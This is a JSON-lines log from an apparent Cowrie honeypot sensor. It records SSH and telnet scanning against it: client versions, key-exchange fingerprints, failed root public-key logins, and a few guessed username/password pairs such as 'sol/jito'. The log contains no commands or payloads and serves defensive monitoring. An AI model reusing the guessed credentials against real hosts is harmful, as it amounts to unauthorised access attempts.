{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.092921Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e76e4cda1ba9","protocol":"telnet","message":"New connection: 192.119.13.58:44618 (10.17.0.5:23) [session: e76e4cda1ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.143421Z"}
{"eventid":"cowrie.session.closed","duration":0.005620479583740234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.148931Z","src_ip":"192.119.13.58","session":"e76e4cda1ba9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.221298Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45016,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f525c52ea0","protocol":"telnet","message":"New connection: 192.119.13.58:45016 (10.17.0.5:23) [session: 59f525c52ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.334865Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:98:75:ff:a0:4e:69:6f:08:64:ba:fe:37:0c:ab:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Y+MhPiExguxmjv/Esge4YDV5Xv46pqkVvMw5D4pX0DUdDGkzyMs5rPF5kQLHezG2cRuO146mS7lQTcFwWsMjCZpM8+woqXi/kDKyDQ1wzehEEcD5dDK8ZaxQ3U1oag13/SVqtAjXlIyoKZBZo7HAU8pU5jVeEwPjP2daJTASFi6pHterUSahInYwM1zmoOxaN/YNqESCzojf36/rYJuGcy0T4p5f2o10bQgKSVJoVR4wtKgV/Rd1qaYzuxtJMLnviq8oTk4C3lwDZ9VUKc2OsZZB7ByPNJ+iqc1JJ+JwbCmGHWqCWGFUC0kQjNR4pdgvPFTAcrsh4+1qpWASCJsd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:98:75:ff:a0:4e:69:6f:08:64:ba:fe:37:0c:ab:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.826789Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:98:75:ff:a0:4e:69:6f:08:64:ba:fe:37:0c:ab:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Y+MhPiExguxmjv/Esge4YDV5Xv46pqkVvMw5D4pX0DUdDGkzyMs5rPF5kQLHezG2cRuO146mS7lQTcFwWsMjCZpM8+woqXi/kDKyDQ1wzehEEcD5dDK8ZaxQ3U1oag13/SVqtAjXlIyoKZBZo7HAU8pU5jVeEwPjP2daJTASFi6pHterUSahInYwM1zmoOxaN/YNqESCzojf36/rYJuGcy0T4p5f2o10bQgKSVJoVR4wtKgV/Rd1qaYzuxtJMLnviq8oTk4C3lwDZ9VUKc2OsZZB7ByPNJ+iqc1JJ+JwbCmGHWqCWGFUC0kQjNR4pdgvPFTAcrsh4+1qpWASCJsd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.830532Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:ce:f0:cd:cb:30:0f:85:f8:a8:18:3a:9b:3c:18:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1v/CcH7IWMU1SmBciZLrCQOlAzKiR+EL7a994ME/V9ZCT17x7H4Idm1ofmOr2IC5XoHaeLKHeL7UJfkuoOSlk+rizw1NhH2cs2YcljDSyUaRVSpafFJ1p6j5Qds4ddYoGZ+y4uCe25Injx1fIbyQmz/yJ5FYCVXCu2UPGFiLm9XiEmQZf5VosR6rlg36KuqYKA2OtYsQruSC/3wz2nIArQq4sVSeG6/8zPxerAGYBd67uc3gKnwIAe6z/9BqdnA0w4PDVgcvoiieFMqLJCRB1NM8TMJrLDbWXNrU+uzq2hvLeasLo3D0kS06SU2BP/hqVD9uMfskSE6BzlUmDv6TMeNZZfCo5TojzKrMyq99TUKO3vfbK4J2u+HC+BSor/TJhW4DWZscyivaTltoVss7BeyuBe4p6Fk5G/qyUv4SqEIH81FEb+ZJ8SLF1allG1NXL+vEBTwxDrU3lVmmFDiJyy4kno3LR+04SAUF7KQO5w9ESlJal1Ecw/csFmjb2fW0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:ce:f0:cd:cb:30:0f:85:f8:a8:18:3a:9b:3c:18:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.959827Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:ce:f0:cd:cb:30:0f:85:f8:a8:18:3a:9b:3c:18:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1v/CcH7IWMU1SmBciZLrCQOlAzKiR+EL7a994ME/V9ZCT17x7H4Idm1ofmOr2IC5XoHaeLKHeL7UJfkuoOSlk+rizw1NhH2cs2YcljDSyUaRVSpafFJ1p6j5Qds4ddYoGZ+y4uCe25Injx1fIbyQmz/yJ5FYCVXCu2UPGFiLm9XiEmQZf5VosR6rlg36KuqYKA2OtYsQruSC/3wz2nIArQq4sVSeG6/8zPxerAGYBd67uc3gKnwIAe6z/9BqdnA0w4PDVgcvoiieFMqLJCRB1NM8TMJrLDbWXNrU+uzq2hvLeasLo3D0kS06SU2BP/hqVD9uMfskSE6BzlUmDv6TMeNZZfCo5TojzKrMyq99TUKO3vfbK4J2u+HC+BSor/TJhW4DWZscyivaTltoVss7BeyuBe4p6Fk5G/qyUv4SqEIH81FEb+ZJ8SLF1allG1NXL+vEBTwxDrU3lVmmFDiJyy4kno3LR+04SAUF7KQO5w9ESlJal1Ecw/csFmjb2fW0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.963849Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:17:07:ad:79:85:62:10:2f:f9:23:e0:db:89:40:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfRetTug88CNz0qC4ZTio+KX4GSRNhQG7q4SjIffotC+V/eF88SfRn7uc/LxKoHGL+KogFzXUkMofktWVM5D8IJ40odu3kSarOEYXR0pR14x3QQy1/n6PaLMRTpTULPm9h4RYNG0Y39cv3IenyM6Y7WMYS/RsDluBn1ZNijFtbcdQjSNSiEfx6aY34EALQsUj+lA4Lv1LXqqwMl2FALS6CtHxeRUW8jdgnRZOjgLGPn8A2vvC65Vh68o+ZIeelRAEsp8JkTMnHk9nx27/vbmHN6+/K7zz+0DCvx6doQhc3OJPuvdk8ipiEOAY4CcWCAaJCxUjC4zij1LTmiYNzYz79","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:17:07:ad:79:85:62:10:2f:f9:23:e0:db:89:40:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.090294Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:17:07:ad:79:85:62:10:2f:f9:23:e0:db:89:40:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfRetTug88CNz0qC4ZTio+KX4GSRNhQG7q4SjIffotC+V/eF88SfRn7uc/LxKoHGL+KogFzXUkMofktWVM5D8IJ40odu3kSarOEYXR0pR14x3QQy1/n6PaLMRTpTULPm9h4RYNG0Y39cv3IenyM6Y7WMYS/RsDluBn1ZNijFtbcdQjSNSiEfx6aY34EALQsUj+lA4Lv1LXqqwMl2FALS6CtHxeRUW8jdgnRZOjgLGPn8A2vvC65Vh68o+ZIeelRAEsp8JkTMnHk9nx27/vbmHN6+/K7zz+0DCvx6doQhc3OJPuvdk8ipiEOAY4CcWCAaJCxUjC4zij1LTmiYNzYz79","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.094784Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.534135580062866,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.109600Z","src_ip":"192.119.13.58","session":"b577cf6d87e3","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:04:e2:8e:e8:2d:c8:43:8d:c9:a5:1c:45:14:62:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIjsBLDprzrmr2yj1EQpp+uS6N4JM7cinWz06qcS9pjMMNZMy4z/Qf0pdeD8UhDwr+DCswFYg4OPTvBagZgPdulicW/IIazEmqOuMRB7pmetnFl2u2WHbL6EAlNCJ+4KoWyfQYqSPM93Tqop6/64pEJtagLJhcB7L/20APvbXdnjsVdZ7HX7aoQ85fImuaUoKqhizgnNVGk5zCodvuzqklBDsA4PcLttK7kowJuZ6GrgMzp2n4d+wDiW2J3kw6FQs8bWUnGWp9X9kmezJw/46vYIhXqZPdvU84v6OeBwPf1fO5bc/bJzUIqEEDQO8TcShFf7t37dhGdAyoi7GmSsMn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:04:e2:8e:e8:2d:c8:43:8d:c9:a5:1c:45:14:62:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.220676Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:04:e2:8e:e8:2d:c8:43:8d:c9:a5:1c:45:14:62:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIjsBLDprzrmr2yj1EQpp+uS6N4JM7cinWz06qcS9pjMMNZMy4z/Qf0pdeD8UhDwr+DCswFYg4OPTvBagZgPdulicW/IIazEmqOuMRB7pmetnFl2u2WHbL6EAlNCJ+4KoWyfQYqSPM93Tqop6/64pEJtagLJhcB7L/20APvbXdnjsVdZ7HX7aoQ85fImuaUoKqhizgnNVGk5zCodvuzqklBDsA4PcLttK7kowJuZ6GrgMzp2n4d+wDiW2J3kw6FQs8bWUnGWp9X9kmezJw/46vYIhXqZPdvU84v6OeBwPf1fO5bc/bJzUIqEEDQO8TcShFf7t37dhGdAyoi7GmSsMn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.225138Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.984681606292725,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.284312Z","src_ip":"192.119.13.58","session":"48a712cb4c42","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:f9:18:09:b2:5a:a1:b7:6b:6a:53:fb:54:f0:80:b2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMcl2SgkT+5KQIUngbS03rXYPvko7Ep7Lj4g3ho42iOq4qa95RTmxUSLb1TytUdEzQBG84gGVgsGjI2YhGy437qBO0W6zoY0jrc2DEj2yNpLqD7wvJ16gslXzNeyqBg9p4MmrRVeH/Oo0sc79B5zPqWeuNyyIe2YOqGDMVRiXsCrAAAAFQCAO/PaJEQu/zRN3udZwTvXK3VTkwAAAIA7amYs2w/AasnUOu5oAy4uSurf4Kw5WrnqeSXDRZ4SQvNguiWZ3pKNl407Kc2ZXJKHrb2WOi5PO8yiy7DzX1ug76mqjSRS45eoCm07JNM1X+CfmCf+fGjlS8oQOIWA0AZjQhlothDbG4od2A1aVvs/sIlh3YBE9eXM+tM6/h9CsQAAAIAEPlc/Qaq2lD5jOwxXWld6NlXgQamYn3M+7GGFGQ8DH3lmxq8z+Sp1ebQTyvDYvrDMozYHYdA2p71P2OndbXQ0lylWb+crqyw/8nT/ooAb8WNjCRY+EBk0/qlprl/QnyW5oBR6K4TRqwAWvRfNofh3eTBgvR/Zuk+Kwz+IM6gWwg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7b:f9:18:09:b2:5a:a1:b7:6b:6a:53:fb:54:f0:80:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.352812Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:f9:18:09:b2:5a:a1:b7:6b:6a:53:fb:54:f0:80:b2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMcl2SgkT+5KQIUngbS03rXYPvko7Ep7Lj4g3ho42iOq4qa95RTmxUSLb1TytUdEzQBG84gGVgsGjI2YhGy437qBO0W6zoY0jrc2DEj2yNpLqD7wvJ16gslXzNeyqBg9p4MmrRVeH/Oo0sc79B5zPqWeuNyyIe2YOqGDMVRiXsCrAAAAFQCAO/PaJEQu/zRN3udZwTvXK3VTkwAAAIA7amYs2w/AasnUOu5oAy4uSurf4Kw5WrnqeSXDRZ4SQvNguiWZ3pKNl407Kc2ZXJKHrb2WOi5PO8yiy7DzX1ug76mqjSRS45eoCm07JNM1X+CfmCf+fGjlS8oQOIWA0AZjQhlothDbG4od2A1aVvs/sIlh3YBE9eXM+tM6/h9CsQAAAIAEPlc/Qaq2lD5jOwxXWld6NlXgQamYn3M+7GGFGQ8DH3lmxq8z+Sp1ebQTyvDYvrDMozYHYdA2p71P2OndbXQ0lylWb+crqyw/8nT/ooAb8WNjCRY+EBk0/qlprl/QnyW5oBR6K4TRqwAWvRfNofh3eTBgvR/Zuk+Kwz+IM6gWwg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.357759Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:24.484736Z","src_ip":"102.129.186.87","session":"a7f9167dc3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"15787dae75c5","protocol":"telnet","message":"New connection: 192.119.13.58:37776 (10.17.0.5:23) [session: 15787dae75c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:31.305778Z"}
{"eventid":"cowrie.session.closed","duration":32.56504225730896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:32.761966Z","src_ip":"192.119.13.58","session":"1e07e2a83f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.619460105895996,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:33.996830Z","src_ip":"192.119.13.58","session":"b6f9697237c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53033709526062,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:34.340538Z","src_ip":"192.119.13.58","session":"60330d8263ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77741003036499,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:35.477113Z","src_ip":"192.119.13.58","session":"c34edb8359c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.08510208129883,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:35.488858Z","src_ip":"192.119.13.58","session":"13276701a851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37318,"dst_ip":"10.17.0.5","dst_port":23,"session":"853ae428c690","protocol":"telnet","message":"New connection: 192.119.13.58:37318 (10.17.0.5:23) [session: 853ae428c690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:41.180323Z"}
{"eventid":"cowrie.session.closed","duration":45.897839307785034,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:43.452032Z","src_ip":"192.119.13.58","session":"2ebfb8b8a2ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":47898,"dst_ip":"10.17.0.5","dst_port":22,"session":"a934f21dfa86","protocol":"ssh","message":"New connection: 45.78.204.254:47898 (10.17.0.5:22) [session: a934f21dfa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:47.611612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:47.616816Z","src_ip":"45.78.204.254","session":"a934f21dfa86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:47.858294Z","src_ip":"45.78.204.254","session":"a934f21dfa86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a82f6ffb703","protocol":"ssh","message":"New connection: 193.32.162.145:57572 (10.17.0.5:22) [session: 7a82f6ffb703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:50.410005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:50.413705Z","src_ip":"193.32.162.145","session":"7a82f6ffb703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:50.518704Z","src_ip":"193.32.162.145","session":"7a82f6ffb703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:50.845678Z","src_ip":"193.32.162.145","session":"7a82f6ffb703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:51.954650Z","src_ip":"193.32.162.145","session":"7a82f6ffb703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76184558868408,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:53.667622Z","src_ip":"192.119.13.58","session":"9f64fc16255b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zjw","password":"zjw","message":"login attempt [zjw/zjw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:53.800014Z","src_ip":"45.78.204.254","session":"a934f21dfa86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d927c5d3b30","protocol":"telnet","message":"New connection: 192.119.13.58:48714 (10.17.0.5:23) [session: 6d927c5d3b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:54.248234Z"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:55.532041Z","src_ip":"45.78.204.254","session":"a934f21dfa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4881768226623535,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:55.736245Z","src_ip":"192.119.13.58","session":"6d927c5d3b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58540,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7145595b7a0","protocol":"telnet","message":"New connection: 192.119.13.58:58540 (10.17.0.5:23) [session: c7145595b7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:57.322517Z"}
